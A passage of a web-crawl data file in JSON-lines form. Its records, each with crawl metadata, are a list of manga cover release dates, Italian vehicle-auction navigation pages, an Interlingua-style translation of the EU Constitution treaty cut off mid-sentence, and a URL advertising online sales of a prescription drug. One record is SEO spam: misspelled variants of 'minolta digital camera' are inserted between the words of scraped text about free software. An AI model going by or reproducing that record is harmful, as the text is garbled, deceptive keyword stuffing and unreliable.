NC","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/cyberdemosite.000webhostapp.com\/2019\/05\/in-linea-doxepin-hydrochloride-75-mg-ordine-in-itasca-tx-order-fast-secured-drug-negozio-sicuro-e-protetto","date":"2020-04-04T10:50:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370521876.48\/warc\/CC-MAIN-20200404103932-20200404133932-00035.warc.gz","language":"ina","language_score":0.4164383113,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4164383113384247, \"ita_Latn_score\": 0.13249868154525757, \"lat_Latn_score\": 0.0778551772236824, \"eus_Latn_score\": 0.056291550397872925, \"ile_Latn_score\": 0.042934343218803406, \"mlt_Latn_score\": 0.0292006004601717, \"scn_Latn_score\": 0.02314266748726368, \"kiu_Latn_score\": 0.022431781515479088, \"vec_Latn_score\": 0.018473682925105095, \"lij_Latn_score\": 0.018427550792694092, \"nld_Latn_score\": 0.017256885766983032, \"por_Latn_score\": 0.013457804918289185, \"srd_Latn_score\": 0.012102106586098671, \"fin_Latn_score\": 0.010944759473204613, \"nap_Latn_score\": 0.01019018329679966}","num_words":1659,"character_repetition_ratio":0.233,"word_repetition_ratio":0.064,"special_characters_ratio":0.15,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.257,"perplexity_score":27791.8,"cluster_detection":-1} +{"text":"|sorti le 04\/07\/05||sorti le 02\/09\/05||sorti le 04\/11\/05||sorti le 05\/01\/06||sorti le 04\/04\/06||sorti le 02\/06\/06|\n|sorti le 04\/08\/06||sorti le 04\/10\/06||sorti le 04\/12\/06||sorti le 02\/03\/07||sorti le 02\/05\/07||sorti le 03\/08\/07|\n|sorti le 04\/10\/07||sorti le 04\/12\/07||sorti le 04\/02\/08||sorti le 04\/04\/08||sorti le 04\/07\/08||sorti le 03\/10\/08|\n|sorti le 04\/12\/08||sorti le 04\/02\/09||sorti le 01\/05\/09||sorti le 03\/07\/09||sorti le 04\/08\/09|\n|Couvertures japonaises des 23 volumes parus chez Shueisha\n\n\n(série terminée)","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.mangaverse.net\/html\/nogamineurocouvjap.htm","date":"2020-07-13T13:17:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657145436.64\/warc\/CC-MAIN-20200713131310-20200713161310-00584.warc.gz","language":"ina","language_score":0.3136156797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31361567974090576, \"fra_Latn_score\": 0.3073945641517639, \"ron_Latn_score\": 0.24967989325523376, \"und_Grek_score\": 0.06582938134670258, \"als_Latn_score\": 0.011618298478424549, \"crs_Latn_score\": 0.011252403259277344}","num_words":140,"character_repetition_ratio":0.303,"word_repetition_ratio":0.817,"special_characters_ratio":0.571,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.313,"perplexity_score":3112.9,"cluster_detection":-1} +{"text":"If minoolta digital camera created minolta digitalo camera article minokta digital camera Martin minolta digital cameea which minolta digotal camera that minolta digitial camera Whatever minolrta digital camera outcome minolta didgital camera this minonlta digital camera that minolga digital camera falls minolta digitqal camera this minolta digital xamera This minbolta digital camera makes minolta digital cacmera political minollta digital camera ethical minolya digital camera in miunolta digital camera is minolta digiotal camera just minolta figital camera individuals minolta digitaol camera involved. munolta digital camera on minolta digital cameras Proprietary minoltta digital camera increases minolta digital cxamera dependence minolta digital vcamera individuals, minolta degital camera and minolta dagital camera on minolta digital camrera forces miolta digital camera typically minolta digital cametra corporations minolta dgital camera a muinolta digital camera poor minolta digital cxamera record minoltaq digital camera acting minolta digigtal camera the minolta dihital camera few minolta digital amera and minollta digital camera is minolta tigital camera to minolta dgital camera a moinolta digital camera vendor monolta digital camera a minoltaa digital camera number minolta digital caimera developers, minoltta digital camera of minolta digitl camera top-of-the-line minolta digital camefa Vista minolta sdigital camera the minoltaq digital camera and minolta digitil camera at miniolta digital camera . minolta dygital camera to minolta digital camear Development minolta digital cacera Logic minoklta digital camera Alan minolta digityal camera Vice minolta digital camersa of minolta daigital camera Management minolta digital cvamera Marketing, minolta digittal camera Brent minolta digitasl camera Co-Founder minpolta digital camera Vice minolta digital csmera of minolta digital cmera talk mniolta digital camera\nLogidex, minolta digtal camera company's minolta digitalo camera governance minolta digital cameea (MP3, minolta digital camwera mins.) minolta digkital camera Wigger, minolta digityal camera at miolta digital camera Sporthochschule minilta digital camera for minolta digital camerea (MP3, minoltaq digital camera mins.) minolta dugital camera Research mkinolta digital camera & minolta digital cqamera Find minilta digital camera papers, minolga digital camera studies, minolta dighital camera and minolta diugital camera reports minolta digital camerea everything ninolta digital camera design minolta digigtal camera development minolta idgital camera testing minolta digital camerra things minolta digital canmera that. mkinolta digital camera Torvalds, minolta digital camefa with minota digital camera [DEAD minolta digital camers Shared minoltga digital camera Most minolta digitakl camera software minolta digoital camera are minolta dsigital camera for minoltsa digital camera software minolta digiotal camera typically minolta digital camea obtained minolkta digital camera the minolta dikgital camera products, mimnolta digital camera an minolrta digital camera to minolta digital caamera market minoltaa digital camera at minolta digital cxamera expense minolta digital camnera other minolota digital camera ideas. minolta digitql camera people muinolta digital camera the ninolta digital camera industry minolt digital camera not minolta digiutal camera understand minolta digital camefra \"open\" minolta digital camerea \"source\". minolrta digital camera and miniolta digital camera\nhardware minolta digital caqmera have minolta digital caamera software minolta digiital camera expensive minoltad igital camera \"the minolta sigital camera of minolta dkgital camera software minolta digitl camera with minolta digtial camera right mnolta digital camera modify minolkta digital camera - minilta digital camera are minolta digital camra pressed minolta daigital camera\nevery minoltq digital camera to miolta digital camera the minoltga digital camera Users mkinolta digital camera free minolta digital caera movement. minolta digital camersa >> minolta digitalc amera Ethical minolta digital canera and minoota digital camera Software minpolta digital camera and minolta dagital camera I'm mknolta digital camera in minolta digigtal camera\nthe minoltra digital camera software minpolta digital camera and minolda digital camera members minbolta digital camera . minlota digital camera should minoolta digital camera obvious, minolta digital camerea in minolta digital cameera contexts minoltta digital camera price minolta digital camrra a minoltad igital camera tight minolta digitalk camera Free minolta dsigital camera does minolta digutal camera have minolota digital camera article mimnolta digital camera this minolta digitasl camera previously, minolta digiktal camera may minolta digital cameraq be minola digital camera for minolta diugital camera An minolt digital camera Language minolta didital camera Language minolta digoital camera provides miinolta digital camera good minolta dighital camera of minolta dgiital camera the minolta digital camersa who minolta digktal camera the minolta difgital camera Users minolta ditgital camera free minolta digiytal camera systems, minolta digital camwra users minolta digital cacmera free mniolta digital camera in minoltas digital camera The miinolta digital camera of minolta digital xamera Dependencies minolta digital caera software minolta digital camefra the minpolta digital camera of minolta dighital camera organisations, minolta digital csmera communities mninolta digital camera external minolta digital cametra - minolta digital cxamera large minolta digitaol camera with minolta digital camdera significant minolta diigital camera presence minolta diigtal camera Indonesia minolta ddigital camera so minolkta digital camera with minolta digial camera Nearly minolta dugital camera parallels minolta dihgital camera this miknolta digital camera in miinolta digital camera [DEAD minoltga digital camera where minolta adigital camera patenting minolta digital xamera seed minolta didgital camera and minolta digital camers sequences minolta digital cammera the minolta digitaol camera technical minolta digital cmaera (or minolta diugital camera willingness minolkta digital camera learn) minolta digital amera is minolta digital csmera to minnolta digital camera the minoltat digital camera And minolta digitalo camera the minota digital camera who] monolta digital camera make minolta digiital camera can minolta digital cameta suggestions minolta digital camerea can minolta difgital camera freely minolta digital camrea so minolta dihgital camera are minolto digital camera to minolta digital vcamera support minolta digital cametra Linux minolta digital camra addition minolda digital camera Windows minolta digitsal camera MacOS), minoltra digital camera the mionolta digital camera of minolta digfital camera varieties minoolta digital camera http:\/\/www.rafi.org\/communique\/19982.html] minollta digital camera\nused minolta digital camema impose nminolta digital camera dependencies minolta digutal camera farmers. minolya digital camera Analogy: minolta diggital camera Powder minoltat digital camera has minolta digiytal camera a minpolta digital camera campaign\/boycott) mniolta digital camera an minolat digital camera to mninolta digital camera source minoota digital camera allows minlolta digital camera the minolta digital cameras Typesetting minolta digital cameta [DEAD minolta digital cmera a minolta digital xcamera of minolta digigtal camera advantages minolta digitsl camera free miniolta digital camera how minolta dikgital camera differs minolta digitalc amera open mimolta digital camera software minoltatdigital camera (For minolta digktal camera links, minolta daigital camera\nmy minolta digital camer Local minolta tigital camera Imagine minolta digita camera are minolta dsigital camera chief minolta diigital camera officer minolta digitall camera at minolta digital cacera theoretical minilta digital camera Feedback minolta digital canera this minolta figital camera that minolta digiytal camera falls minolta digital cameraa this minolta digital cameta This minoltq digital camera addresses minolta digital camnera computer minolta digital camara Other mknolta digital camera property minolta digital vamera are minotla digital camera of mibnolta digital camera concern minoltaq digital camera organisations minoltsa digital camera as minokta digital camera Silicon minolta digital canera and minolta diital camera The minolta eigital camera was minoltga digital camera finalist minolta digital casmera two minoltqa digital camera categories, minolta digital camea Software ninolta digital camera (September minoltsa digital camera 20th minbolta digital camera issue) minolta digital camear Best minolta digtal camera Editorial minolta digital camemra 2004, minolta diigtal camera at minolta ditital camera The minolta digotal camera\nwere minolda digital camera on minolta digiatl camera 22, minolta digitalo camera in mnolta digital camera Angeles. minolta digitral camera 2003, minlta digital camera Development minolta digital csmera Logic minolta digiyal camera Alan mninolta digital camera Vice minollta digital camera of minoolta digital camera talk minolta doigital camera Logidex, minonlta digital camera company's minolta digiatl camera governance minolta digitat camera (MP3, minolta digital cameraa mins.) minolta digitial camera Wigger, miniolta digital camera at mkinolta digital camera Sporthochschule minolta digital camema for minolta digital caera (MP3, minolta digital camrra mins.) minolta didgital camera Research minolta digital cmera & minolta digigtal camera Find minolta dsigital camera papers, minolta digital csamera studies, minolta digitalk camera and minolta digital csmera reports minolta digityal camera everything minolta digital camaera design minolt digital camera development minolta diugital camera testing minolta diugital camera implementation minolta digital csmera SD's minolta digityal camera Subscribe minolta digital camefa Software minolta difital camera won minolta digital camaera Software minolta digital camear Jolt minolta digital caera Winners minolta digital cameraa the minolta diguital camera as minollta digital camera foundation minplta digital camera its minoltya digital camera system, minolta tigital camera the minolta edigital camera of minolta digitsal camera open minoltoa digital camera implementation, minolta digitral camera testing. minolta diggital camera\nBos minolta digitasl camera it minolta digital cqmera in mionolta digital camera [DEAD minolta digitaql camera Free minolta digfital camera projects minolta digfital camera a minolta digiktal camera of minolta digitla camera and muinolta digital camera average miolta digital camera 6 minolta deigital camera and minolta digital cameraa server minolta sigital camera 140000 minolta digital amera that's miolta digital camera good minolta digital vamera of minolta diogital camera the ninolta digital camera who minolta digital caamera the minolta digital camerea get minolta degital camera [affect miniolta digital camera way] mninolta digital camera system minolta digitall camera to minoltaa digital camera the minolta digital cqamera the minolta dihital camera [develops]. minolta digital cameraq democracy minolta digital camear the minolta digital camra world. mimolta digital camera List minolta digital cvamera Community mimnolta digital camera Abroad minolta digital casmera information minolta digital camdra group minplta digital camera been minolta digital caqmera up, minolta dugital camera a minolta dihital camera list minolta adigital camera discussions minolta dfigital camera this miniolta digital camera (This minolta digital camerea is minlta digital camera a miniolta digital camera of moinolta digital camera .) minolta digiital camera Introduction minolta digitql camera goods minolta digiotal camera up minolta digitial camera sizeable minlota digital camera increasing minolta digital camefra of minolta digital camefa \"hacker\" mniolta digital camera placing minolta digitala camera in minonta digital camera hands minolta digirtal camera external minoltya digital camera Systems minolta digital camerra controlling minolta digital cameea distribution minolta digital cametra information, minolta diigtal camera the minolta tigital camera patent minolta digital camra - minolta digitalo camera\nhave minolta digital camira irrelevant minolta dogital camera even minolta digital casmera -- minolta ditital camera the minoltq digital camera so minolrta digital camera the minolta digital cameera States minolta digital cameta Security minolta dighital camera has minlta digital camera arranged minolts digital camera this minolta digital camerfa access minolta digital camerra a minolta adigital camera in minolta digital camerra the minlota digital camera Try minolya digital camera otherwise minolta digitat camera wait minoplta digital camera check minolta digigtal camera later minolta digitall camera attempting minolta digital camerea recreate minolta digital cameera page. miinolta digital camera you minolta digitall camera an minolta digutal camera in minolta digital camere Times minoltas digital camera was minolta digitql camera and minolta digtial camera average minolda digital camera 6 minolta sdigital camera and minolta digial camera server minpolta digital camera 140000 minolta digital camema that's mimolta digital camera good minolta digiital camera of minmolta digital camera the minoplta digital camera\nwho minolta digital camerqa the minolta digital canmera And minolta dihgital camera the minolota digital camera who] minolta digitak camera make minolta digfital camera can minolta digital camefra suggestions minolta digital caimera can minolta figital camera easily moinolta digital camera and minolts digital camera there minolta difital camera also minolta diggital camera\nand minolta digital camere arguments minolta digital camedra the minolta digitaql camera of miinolta digital camera software minokta digital camera typically minbolta digital camera obtained minolta digitala camera the minolta digital casmera of minolta digital camrera software minolta dsigital camera join minolta tigital camera development minolta digital camrra are minolta digiatl camera model minllta digital camera development minolta digital cametra They minolta degital camera based minolta digoital camera open minolta ditgital camera inclusiveness, minolrta digital camera relationships, minolta digital caera working minlta digital camera the minolta digital csmera of minolta digitalk camera software minolta digityal camera and minolta digital camewra members minolta digiytal camera . minoplta digital camera should minolta duigital camera obvious, minmolta digital camera in minolta digital camdra contexts minnolta digital camera price minoklta digital camera Microsoft minolta idgital camera - minolta digitl camera is minolta dihital camera willing minoolta digital camera pay minolta digital camdra we minolta digitalo camera for minlolta digital camera software: minolta digital camerta US$55 minolta digitalc amera each minolta digiytal camera with minolta dgiital camera and minlolta digital camera US$500 minolta diogital camera every minoltra digital camera license minolta digital cameta an miolta digital camera of minolta difital camera workstations minolta digital camaera one minolat digital camera for minolta ditgital camera labs, minolta digital camerq a minolta dagital camera introduction mnolta digital camera free minolta dogital camera are minokta digital camera Linux minolta digital camers and minolta didgital camera Apache minolta dihital camera server minolta digial camera sendmail minolta adigital camera transport miniolta digital camera which minolta digitla camera them minolta digital camear more minolta digityal camera 50% minolta digital cameea the minoota digital camera Free minolta dagital camera What minolta digital camrea Free minolta dgiital camera The minolta digitgal camera Software minolta digital camema and minolta digtal camera I'm minolota digital camera in minolta digiotal camera\noxford health insurance major medical health insurance health insurance spyware removal tool digital camera technology free anti virus protection american football car insurance rate computer software computer education\nBest minolta digital camera resources, 2005-2006","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/home.tiscali.cz\/freeinfo\/minolta-digital-camera.html","date":"2020-12-05T23:00:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141750841.83\/warc\/CC-MAIN-20201205211729-20201206001729-00190.warc.gz","language":"ina","language_score":0.807050705,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8070507049560547, \"eng_Latn_score\": 0.12682750821113586}","num_words":3965,"character_repetition_ratio":0.365,"word_repetition_ratio":0.002,"special_characters_ratio":0.144,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.8,"perplexity_score":25799.7,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite macchine edili KLEMMAste per le vendite BOMAGAste per le vendite CATERPILLARAste per le vendite GENIEAste per le vendite HAULOTTEAste per le vendite JCBAste per le vendite JLGAste per le vendite KOMATSUAste per le vendite UPRIGHTAste per le vendite VOLVOAste per le vendite WACKER","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-KLEMM--c7tm4109.html","date":"2017-03-23T02:39:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218186608.9\/warc\/CC-MAIN-20170322212946-00514-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.8253279328,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"ina_Latn_score\": 0.8253279328346252, \"ita_Latn_score\": 0.0459652878344059, \"frp_Latn_score\": 0.03947577625513077, \"bew_Latn_score\": 0.03169238194823265, \"nap_Latn_score\": 0.024056024849414825, \"lmo_Latn_score\": 0.020548563450574875}","num_words":112,"character_repetition_ratio":0.416,"word_repetition_ratio":0.078,"special_characters_ratio":0.171,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.927,"perplexity_score":2542.9,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite furgoni » Aste per le vendite pulminiAste per le vendite pick-upAste per le vendite furgoni combiAste per le vendite monovolume » Aste per le vendite pulmini HYUNDAIAste per le vendite FORDAste per le vendite OPELAste per le vendite RENAULTAste per le vendite SKODAAste per le vendite TOYOTAAste per le vendite VOLKSWAGEN","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/autoline-eu.it\/-\/Aste\/pulmini\/HYUNDAI--a5c83tm2611","date":"2017-04-27T22:52:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122629.72\/warc\/CC-MAIN-20170423031202-00377-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.8287705183,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8287705183029175, \"lmo_Latn_score\": 0.059913214296102524, \"nap_Latn_score\": 0.034467507153749466, \"ita_Latn_score\": 0.027772320434451103, \"frp_Latn_score\": 0.025840820744633675, \"bew_Latn_score\": 0.013086875900626183}","num_words":114,"character_repetition_ratio":0.42,"word_repetition_ratio":0.019,"special_characters_ratio":0.177,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":2558.0,"cluster_detection":-1} +{"text":"DE LOS REPRESENTANTES (OR. fr)\nDE LOS GOVERNAMENTOS\nDE LOS STATOS MEMBROS CIG 87\/04\nra: Traduction in Romanica\nObjecto: Tractato de una Constitution pro Europa\nCIG 87\/04 ra\nINDICE\nPREAMBULO\nPARTE I\nTITULO I - DEFINITION ET OBJECTIVOS DE LA UNION\nTITULO II - DERECTOS FUNDAMENTALES ET CITATANITATE DE LA UNION\nTITULO III - COMPETENTIAS DE LA UNION\nTITULO IV - INSTITUTIONES ET ORGANOS DE LA UNION\nCAPITULO I - QUADRO INSTITUTIONAL\nCAPITULO II - ALTERAS INSTITUTIONES ET ORGANOS CONSULTATIVOS DE LA UNION\nTITULO V - EXERCITIO DE LAS COMPETENTIAS DE LA UNION\nCAPITULO I - DISPOSITIONES COMMUNES\nCAPITULO II - DISPOSITIONES PARTICULARES\nCAPITULO III - COOPERATION REINFORTIATA\nTITULO VI - VITA DEMOCRATICA DE LA UNION\nTITULO VII - FINANCIAS DE LA UNION\nConstitution\/index\/ra 1\nTITULO VIII – LA UNION ET SU AMBIENTE PROXIMO\nTITULO IX - MEMBRATO DE LA UNION\nPARTE II - CHARTA DE DERECTOS FUNDAMENTALES DE LA UNION\nPREAMBULO\nTITULO I - DIGNITATE\nTITULO II - LIBERTATES\nTITULO III - EQUALITATE\nTITULO IV - SOLIDARITATE\nTITULO V - CITATANITATE\nTITULO VI - JUSTITIA\nTITULO VII - DISPOSITIONES GENERALES QUE REGEN LA INTERPRETATION ET LA APPLICATION DE LA CHARTA\nPARTE III - POLITICAS ET FUNCTIONAMENTO DE LA UNION\nTITULO I - DISPOSITIONES DE APPLICATION GENERAL\nConstitution\/index\/ra 2\nTITULO II - NON-DISCRIMINATION ET CITATANITATE\nTITULO III - POLITICAS ET ACTIONES INTERNAS\nCAPITULO I - MERCATO INTERIOR\nSection 1 - Stabilimento et functionamento del mercato interior\nSection 2 - Libere circulation de personas et servicios\nSubsection 1 - Laboratores\nSubsection 2 - Libertate de stabilimento\nSubsection 3 - Libertate de prestation de servicios\nSection 3 - Libere circulation de mercantias\nSubsection 1 - Union doanal\nSubsection 2 - Cooperation doanal\nSubsection 3 - Prohibition de restrictiones quantitativas\nSection 4 - Capitales et pagamentos\nSection 5 - Regulas de concurrentia\nSubsection 1 - Regulas applicabiles a interprisas\nSubsection 2 - Adjutas accordatas per los Statos membros\nSection 6 - Dispositiones fiscales\nSection 7 - Dispositiones communes\nCAPITULO II - POLITICA ECONOMICA ET MONETARIA\nSection 1 - Politica economica\nSection 2 - Politica monetaria\nSection 3 - Dispositiones institutionales\nSection 4 - Dispositiones specificas pro los Statos membros cuja moneta est le euro\nSection 5 - Dispositiones transitorias\nConstitution\/index\/ra 3\nCAPITULO III - POLITICAS IN ALTEROS DOMINIOS\nSection 1 - Empleo\nSection 2 - Politica social\nSection 3 - Cohesion economica, social et territorial\nSection 4 - Agricultura et pisca\nSection 5 - Ambiente\nSection 6 - Protection de los consumitores\nSection 7 - Transporto\nSection 8 - Retes transeuropeas\nSection 9 - Recerca et disveloppamento technologico, et spatio\nSection 10 - Energia\nCAPITULO IV - SPATIO DE LIBERTATE, SECURITATE ET JUSTITIA\nSection 1 - Dispositiones generales\nSection 2 - Politicas relativas a los controlos a las frontieras, al asylo et a la immigration\nSection 3 - Cooperation judiciaria in derecto civil\nSection 4 - Cooperation judiciaria in derecto penal\nSection 5 - Cooperation policiaria\nCAPITULO V - AREAS UBI LA UNION POTE PRENDER ACTIONES DE SUPPORTO, DE COORDINATION, AUT COMPLEMENTARIAS\nSection 1 - Sanitate publica\nSection 2 - Industria\nSection 3 - Cultura\nSection 4 - Tourismo\nSection 5 - Education, juventute, sport et formation professional\nSection 6 - Protection civil\nSection 7 - Cooperation administrativa\nConstitution\/index\/ra 4\nTITULO IV - ASSOCIATION DE PAISES ET TERRITORIOS DE ULTRAMAR\nTITULO V - ACTION EXTERIOR DE LA UNION\nCAPITULO I - DISPOSITIONES DE APPLICATION GENERAL\nCAPITULO II - LA POLITICA EXTERIOR ET DE SECURITATE COMMUN\nSection 1 - Dispositiones communes\nSection 2 - Politica de securitate et de defensa commun\nSection 3 - Dispositiones financiarias\nCAPITULO III - POLITICA COMMERCIAL COMMUN\nCAPITULO IV - COOPERATION CON TERTIOS PAISES ET ADJUTA HUMANITARIA\nSection 1 - Cooperation pro le disveloppamento\nSection 2 - Cooperation economica, financiaria et technica con los tertios paises\nSection 3 - Adjuta humanitaria\nCAPITULO V - MESURAS RESTRICTIVAS\nCAPITULO VI - ACCORDOS INTERNATIONALES\nCAPITULO VII - RELATIONES DE LA UNION CON ORGANIZATIONES INTERNATIONALES, TERTIOS PAISES ET DELEGATIONES DE LA UNION\nConstitution\/index\/ra 5\nCAPITULO VIII - APPLICATION DE LA CLAUSULA DE SOLIDARITATE\nTITULO VI - FUNCTIONAMENTO DE LA UNION\nCAPITULO I - DISPOSITIONES INSTITUTIONALES\nSection 1 - Institutiones\nSubsection 1 - Le Parlamento Europeo\nSubsection 2 - Le Consilio Europeo\nSubsection 3 - Le Consilio de Ministros\nSubsection 4 - La Commission Europea\nSubsection 5 - Le Tribunal de Justitia de la Union Europea\nSubsection 6 - La Banca Central Europea\nSubsection 7 - Le Tribunal de Contos\nSection 2 - Organos consultativos de la Union\nSubsection 1 - Le Committato de las Regiones\nSubsection 2 - Le Committato Economico et Social\nSection 3 - La Banca Europea de Investimentos\nSection 4 - Dispositiones communes a institutiones, organos, organismos et agentias de la Union\nCAPITULO II - DISPOSITIONES FINANCIARIAS\nSection 1 - Quadro Financiario pluriannual\nSection 2 - Budget annual de la Union\nSection 3 - Execution del Budget et approbation de la gestion\nSection 4 - Dispositiones communes\nSection 5 - Lucta contra le fraude\nCAPITULO III - COOPERATION REINFORTIATA\nConstitution\/index\/ra 6\nTITULO VII - DISPOSITIONES COMMUNES\nPARTE IV - DISPOSITIONES GENERALES ET FINALES\nConstitution\/index\/ra 7\nTRACTATO DE UNA\nCONSTITUTION PRO EUROPA\nConstitution\/ra 1\nPREAMBULO\nSU MAJESTATE LE REGE DE LOS BELGAS, LE PRESIDENTE DE LA REPUBLICA TCHECA,\nSU MAJESTATE LA REGINA DE DANMARK, LE PRESIDENTE DE LA REPUBLICA FEDERAL DE GERMANIA,\nLE PRESIDENTE DE LA REPUBLICA DE ESTONIA, LE PRESIDENTE DE LA REPUBLICA HELLENICA,\nSU MAJESTATE LE REGE DE ESPANIA, LE PRESIDENTE DE LA REPUBLICA FRANCESA,\nLE PRESIDENTE DE IRLANDA, LE PRESIDENTE DE LA REPUBLICA ITALIANA,\nLE PRESIDENTE DE LA REPUBLICA DE CYPRO, LE PRESIDENTE DE LA REPUBLICA DE LETTONIA,\nLE PRESIDENTE DE LA REPUBLICA DE LITUANIA, SU ALTESSA REGAL LE GRANDUCE DE LUXEMBURG,\nLE PRESIDENTE DE LA REPUBLICA DE HUNGARIA, LE PRESIDENTE DE LA REPUBLICA DE MALTA,\nSU MAJESTATE LA REGINA DE LOS PAISES BASSOS, LE PRESIDENTE FEDERAL DE LA REPUBLICA DE AUSTRIA,\nLE PRESIDENTE DE LA REPUBLICA DE POLONIA, LE PRESIDENTE DE LA REPUBLICA PORTUGESA,\nLE PRESIDENTE DE LA REPUBLICA DE SLOVENIA, LE PRESIDENTE DE LA REPUBLICA SLOVACA,\nLE PRESIDENTE DE LA REPUBLICA DE FINLANDIA, LE GOVERNAMENTO DEL REGNO DE SVEDIA,\nSU MAJESTATE LA REGINA DEL REGNO UNITO DE GRANDE BRITANNIA ET IRLANDA DEL NORD,\nConstitution\/ra 2\nINSPIRANDO SE in le hereditage cultural, religioso et humanista de Europa, ab le qual se han disveloppato los valores universales que constituen los derectos inviolabiles et inalienabiles de la persona humana, la democratia, la equalitate, la libertate et le Stato de Derecto,\nCONVINCITOS que post experientias dolorosas la Europa reunita intende avantiar super la via de la civilization, del progresso et de la prosperitate pro le beneficio de totos sus habitantes, includitos los plus debiles et disfavoritos; que ista Europa vole restar un continente aperto a la cultura, al saper et al progresso social, et que illo desira approfundar le character democratico et transparente de su vita publica et laborar pro la pace, la justitia et la solidaritate in le mundo,\nCONVINCITOS que los populos de Europa, si illos restan feros de lor identitate et de lor historia national, son resolutos de superar lores divisiones ancianas et de forgiar lor destino commun,\nSECUROS que \"unita in la diversitate\" Europa offere a sus populos los meliores chances de prosequer, respectando los derectos de cata uno et conscientes de su responsabilitate pro las generationes futuras et la terra, la grande aventura de facer de illa una area privilegiata pro la sperantia humana,\nRESOLUTOS de continuar la obra realizata in le quadro de los Tractatos de las Communitates Europeas et del Tractato de la Union Europea, assecurando la continuitate del insimul communitario,\nGRATOS a los membros de la Convention Europea, qui han elaborato le projecto de ista Constitution in le nomine de los citatanos et de los Statos de Europa.\nConstitution\/ra 3\nhan designato como plenipotentiarios:\nSU MAJESTATE LE REGE DE LOS BELGAS, LE PRESIDENTE DE LA REPUBLICA TCHECA, SU MAJESTATE LA REGINA DE DANMARK, LE PRESIDENTE DE LA REPUBLICA FEDERAL DE GERMANIA, LE PRESIDENTE DE LA REPUBLICA DE ESTONIA,\nConstitution\/ra 4\nLE PRESIDENTE DE LA REPUBLICA HELLENICA, SU MAJESTATE LE REGE DE ESPANIA, LE PRESIDENTE DE LA REPUBLICA FRANCESA, LE PRESIDENTE DE IRLANDA, LE PRESIDENTE DE LA REPUBLICA ITALIANA,\nConstitution\/ra 5\nLE PRESIDENTE DE LA REPUBLICA DE CYPRO, LE PRESIDENTE DE LA REPUBLICA DE LETTONIA, LE PRESIDENTE DE LA REPUBLICA DE LITUANIA, SU ALTESSA REGAL LE GRANDUCE DE LUXEMBURG, LE PARLAMENTO DE LA REPUBLICA DE HUNGARIA,\nConstitution\/ra 6\nLE PRESIDENTE DE LA REPUBLICA DE MALTA, SU MAJESTATE LA REGINA DE LOS PAISES BASSOS, LE PRESIDENTE FEDERAL DE LA REPUBLICA DE AUSTRIA, LE PRESIDENTE DE LA REPUBLICA DE POLONIA, LE PRESIDENTE DE LA REPUBLICA PORTUGESA,\nConstitution\/ra 7\nLE PRESIDENTE DE LA REPUBLICA DE SLOVENIA, LE PRESIDENTE DE LA REPUBLICA SLOVACA, LE PRESIDENTE DE LA REPUBLICA DE FINLANDIA, LE GOVERNAMENTO DEL REGNO DE SVEDIA, SU MAJESTATE LA REGINA DEL REGNO UNITO DE GRANDE BRITANNIA ET IRLANDA DEL NORD,\nConstitution\/ra 8\nLOS QUALES, per haber intercambiato lores plenos poteres, recognoscitos in bona et debita forma, han convenito las dispositiones que sequen:\nPARTE I\nTITULO I\nDEFINITION ET OBJECTIVOS DE LA UNION\nARTICULO I-1\nStabilimento de la Union\n1. Inspirata per la voluntate de los citatanos et de los Statos de Europa de construer un futuro commun, la presente Constitution stabili la Union Europea a la qual los Statos membros conferen competentias pro attinger lores objectivos communes. La Union coordina las politicas de los Statos membros orientatas pro attinger istos objectivos, et La Union realiza, de modo communitario, las competentias que los Statos transferen a la Union.\n2. La Union est aperta a totos los Statos europeos que respectaen sus valores et que sian ingagiatos a promover los in accordo commun.\nConstitution\/ra 9\nARTICULO I-2\nValores de la Union\nLa Union est fundata super los valores de respecto a la dignitate humana, a la libertate, a la democratia, a la equalitate, al Stato de Derecto et respecto a los derectos humanos, includitos los derectos pertinentes a minoritates. Istos valores son communes a los Statos membros in una societate characterizata per le pluralismo, la non-discrimination, la tolerantia, la justitia, la solidaritate et la equalitate inter feminas et viros.\nARTICULO I-3\nObjectivos de la Union\n1. Le objectivo de la Union est promover la pace, sus valores et le benesser de sus populos.\n2. La Union offere a sus citatanos una area de libertate, de securitate et de justitia sin frontieras internas, et un mercato interior ubi la concurrentia est libera et non distorta.\n3. La Union labora pro le disveloppamento sustenibile de Europa, basato super un crescimento economico equilibrato et stabilitate de precios, una economia social de mercato altamente competitiva, que tende a pleno empleo et progresso social, et un nivello elevato de protection et melioration de la qualitate del ambiente. Illa promove le progresso scientifico et technico.\nIlla combatte la exclusion social et discrimination, et promove la justitia et la protection social, la equalitate inter feminas et viros, la solidaritate inter las generationes et protection de los derectos del infante.\nConstitution\/ra 10\nLa Union promove la cohesion economica, social et territorial et la solidaritate inter los Statos membros.\nIlla respecta la ricchessa de lor diversitate cultural et linguistica, et velia que le patrimonio cultural de Europa sia salvaguardato et disveloppato.\n4. In sus relationes con le resto del mundo, La 